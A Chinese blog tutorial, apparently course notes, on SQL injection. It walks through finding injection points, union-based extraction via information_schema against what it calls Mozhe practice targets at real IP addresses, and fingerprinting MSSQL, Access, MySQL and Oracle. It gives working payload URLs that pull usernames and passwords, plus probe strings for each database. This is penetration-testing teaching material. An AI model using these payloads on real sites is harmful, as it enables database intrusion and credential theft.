WEB漏洞—SQL注入之简要SQL注入

WEB漏洞—SQL注入之简要SQL注入

798319952c90c1804a0d8cb78f821006

SQL注入原理:Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

SQL注入产生的原理条件:

  • 第一个是用户能够控制输入
  • 第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行
  • 可控变量,带入数据库查询,变量未存在过滤或过滤不严谨

Snipaste_2022-04-25_10-37-53

如题,以上地址可能存在注入的有哪几个

第一个就是常规的地址,可控变量,所以可能存在

第二个是存在可控变量

第三个是存在多个参数

第四个其实也有可能存在注入,因为如果是POST注入的话,那么就不会在URL地址栏显示,而是在数据包中进行体现

Snipaste_2022-04-25_10-44-36

题目:参数X有注入,以下哪个注入测试正确?

第一个不正确,原因没有将x带入,因为a选项判断的是y的注入点,而不是x

第二个正确,原因跟上题不一样,这里将x带入了,判断的是y和x的注入点

第三个正确,和第二题一样,只不过是换了一个表达形式,同样也是判断y和x的注入点

第四个不正确,原因题目是要求x的注入点,而这里连x的参数都没有

靶场sqli-labs安装——略。。网上有教程,如果在安装的过程中报错,尝试更改一些PHP的版本

Snipaste_2022-04-25_10-59-41

Snipaste_2022-04-25_11-04-48

在进行注入的时候,不能直接获取到数据,先获取 “表名” ,然后获取 “列名” 最后才可以得到 “数据”

利用SQL漏洞,实现联合查询

Snipaste_2022-03-21_15-29-45

这里ID等于-2,尝试了一下,有的时候确实需要等于-2,其实就是让前面的这个语句不成立,但是有的时候,就算是正确的也可以正确执行

这里简单的理解就是通过参数传递,然后将恶意代码传递到数据库中执行,从而获得敏感数据!!!

Snipaste_2022-03-21_15-29-50

如果PHP代码是这样执行的话,那么这里就是有参数传递,如果这里是一个常量的话,那么这种注入将不复存在,所以反过来说如果需要有这种漏洞,那么就需要有可传递变量

总结产生的原因主要有:可控变量,带入数据库查询,变量未存在过滤或者过滤不严谨!

如何判断注入点

老方法:

And 1=1 页面正常

And 1=2 页面错误

原理:在数学中有一个与或非的逻辑运算,这个就是跟逻辑运算一样

真 与 真 = 真

真 与 假 = 假

真 或 真 = 真

真 或 假 = 真

真非 = 假

假非 = 真

总结就是:如果是与运算那么只要有一个假那么就是假,如果是或运算的话只要有一个真那么就是真,而非运算就是去取反,真就是假,假就是真

那么应用到SQL注入是一个怎么样的情况呢?

就比如是and 1=1这个不管前面是正确的还是错误的都会返回正常,如果是输入and 1=2,不管前面输入什么这里都是返回错误,如果没有返回错误,说明人家都不想理你,既然都不会理会你,你输入任何恶意代码,都不会带入到数据库中进行查询,也就是没有注入点!

新方法:

就是直接在ID后面随便添加值,例如是ID = 124654646的话那么如果是报错,那就说明他将这个数据带入到数据库中进行查询,然后给你报了一个错误信息,如果是正确的话,也就是说人家根本就没有接受你的数据,那么就表示这里没有注入点!

还有一种情况是:输入一个错误的值之后然后报了一个404的错误,然后还提示5 秒之后会自动跳转的,这种就是有一种检测机制,那么这种情况一般是没有漏洞的

判断注入点还有:order by

Snipaste_2022-03-21_15-32-21

如上图所示:order by后面直接跟数字,在数据库中也就是字段数量,然后输入到5的时候就报错,说明范围是1-4

Snipaste_2022-03-21_15-32-25

然后在用联合查询:union select 1,2,3,4

接下来就是报错猜解:

Snipaste_2022-03-21_15-32-29

将id=1改成id=-1,尝试报错,然后报错之后

Snipaste_2022-03-21_15-27-55

如图所示出现了2,3,这个数字是随机的,报出什么数字,那么就在什么数字上进行尝试,如下图所示

Snipaste_2022-03-21_15-33-43

Snipaste_2022-03-21_15-33-55

上图就是固定的查询函数

必要知识点:

在MySQL5.0以上版本中,MySQL存在一个自带数据库名为:information_schema,它是一个存储记录所有的数据库名,表名,列名的数据库也相当于可以通过查询他获取指定数据库下面的表名或列名信息

数据库中符号:“.“代表下一级,如xiao.user表示xiao数据库下的user表名

Information_schema.tables:记录所有表名信息的表

Information_schema.columns:记录所有列名信息的表

也就是说如果不靠他,那么表名和列名都是靠猜

介绍几个常用函数:

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

查询数据库名

union select 1,database(),3,4

这里假设这里报错的字段是2,3,那么就可以在2,3的位置进行猜解

查询表名

http://124.70.64.48:47395/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’

解析:先用id等于-1,让其报错,group_concat(table_name)这个的意思就是查询所有表名,如果不加 group_concat(),就是查询一个表名,查询来自Information_schema.tables里面的所有表名,这个上面说过里面记录了所有表名信息,然后再用group_concat()就可以查询所有表的信息。最后加一个条件是指定数据库,查询来自 “mozhe_DIscuz_StormGroup” 数据库中的所有表名。

查询列名

http://219.153.49.228:48354/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from Information_schema.columns where table_name=’StormGroup_member’

查询列名下的数据

http://124.70.64.48:47395/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

查询StormGroup_member列下的,name和password字段

这里你会发现这个密码和账号是无法登陆的

小迪课上的墨者靶机在最后一步,有一个坑,这里其实是有两个密码的

第一种写法:

http://124.70.64.48:47395/new_list.php?id=-1 union select 1,group_concat(name,password),3,4 from StormGroup_member

第二种写法:

http://124.70.64.48:47395/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

1
2
3
4
5
6
7
8
9
10
Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,
我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****

如何判断网站的数据库类型(转载:https://www.cnblogs.com/zhaijiahui/p/9180436.html)

0x00、常用数据库

常见的数据库Oracle、MySQL、SQL Server、Access、MSsql、mongodb等。

关系型数据库通过外键关联来建立表与表之间的关系,非关系型数据库通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定。

关系型数据库:由二维表及其之间的联系组成的一个数据组织。如:Oracle、DB2、MySql。

非关系型数据库:非关系型数据库产品是传统关系型数据库的功能阉割版本,通过减少用不到或很少用的功能,来大幅度提高产品性能。如:NoSql、Cloudant。

0x01、判断sql注入数据库类型方法

  • 1.是否可以使用该数据库特有的特定的函数来判断。
  • 2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等。
  • 3.是否可以编码查询。
  • 4.是否可以利用报错信息。
  • 5.是否存在数据库某些特性辅助判断。
  • 6.是否存在数据库独有的表名,库名。
  • 7.通过一些建站和实战的经验。

0x02、基于特定函数的判断

len和length

在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。

当你使用and len(‘a’)=1的时候,返回正常页面时,可以推断当前的数据库类型可能是mssql,或mysql,或是db2。反之则可能会是oracle和informix。

@@version和version()

在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。

version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

substring和substr

在mssql中可以调用substring。oracle则只可调用substr。

0x03、基于辅助的符号判断

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

有时利用–和# 这两个注释符号也可以大致的确认数据库类型,因为MSSQL是–,而MYSQL是#,ACCESS不支持注释。

HTTP://xxx.xxx.xxx/abc.asp?p=YY-- 异常

HTTP://xxx.xxx.xxx/abc.asp?p=YY# 正常

那么数据库有可能就是MYSQL或者ACCESS。

在注入点后加(必须为注入点);–(一个分号,两个横线),例如:

http://xxxx/article/as.asp?id=1;--。如果返回正常的话,说明数据库是MSSQL。在MSSQL数据库中;和--都是存在的,;用来分离两个语句,而--就是注释符,它后面语句都不执行。如果返回错误,基本可以肯定是ACCESS数据库了。

0x04、利用数据库服务器的系统变量进行区分

SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:

HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 出错时报的错可能就包含了MSSQL的信息

如:Microsoft OLE DB Provider for SQL Server error ‘80040e07’

不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名

0x05、基于显示错误信息判断

在注入点后直接加上单引号,根据服务器的报错信息来判断数据库。错误提示Microsoft JET Database Engine 错误 ‘80040e14’,说明是通过JET引擎连接数据库,则表明数据库为ACCESS数据库,如果是ODBC的话则说明是MSSQL数据库。

0x06、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0

若数据库是SQL-SERVER,则第一条,abc.asp一定运行正常,第二条则异常;

若是ACCESS则两条都会异常。

and exists (select count(*) from sysobjects)

and exists (select count(*) from msysobjects)

如果第一条返回正常,就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库了。

第一句意思是查询sysobjects表里记录数大于,返回正常的,说明大于0且存在sysobjects这个表,因为这个表只有MSSQL数据库才有,所以可以判断为MSSQL数据库。返回错误则表示不是。

第二句提交是不会返回正常页面的,就算是ACCESS数据库也不会返回正常。因为默认情况下我们没有权限查询这个表里的数据。WEB会提示我们“记录无法读取;’msysobjects’没有读取权限”,如果返回的是这个错误信息的话,那就证明是ACCESS数据库了

以上参数都是int的时候,如果是字符型的话首先在参数后面加上单引号,然后再在查询语句后加上;–

以下列举了一些数据库的特征,欢迎补充

SQLSERVER:

1
2
3
4
5
6
7
8
9
10
11
ID=1 and (select count (*) from sysobjects)>0 返回正常

ID=1 and (select count (*) from msysobjects)>0返回异常

ID=1 and left(version(),1)= 5%23

ID=1 and exists(select id from sysobjects)

ID=1 and length(user)>0

ID=1 CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)

ACCESS:

1
2
3
ID=1 and (select count (*) from sysobjects)>0 返回异常

ID=1 and (select count (*) from msysobjects)>0返回异常

MYSQL:

1
2
3
4
5
id=2 and version()>0 返回正常

id=2 and length(user())>0

id=2 CHAR(97, 110, 100, 32, 49, 61, 49)

ORACLE:

1
2
3
4
5
ID=1  and '1'||'1'='11 

ID=1 and 0<>(select count(*) from dual)

ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

0x07、根据经验来判断

asp中小型网站一般是Access做数据库,大型网站可能会用SQL Server;

ASP.NET的网站一般以SQL Server居多;

PHP的网站会用MySql;

JSP的网站会用SQL Server或Oracle!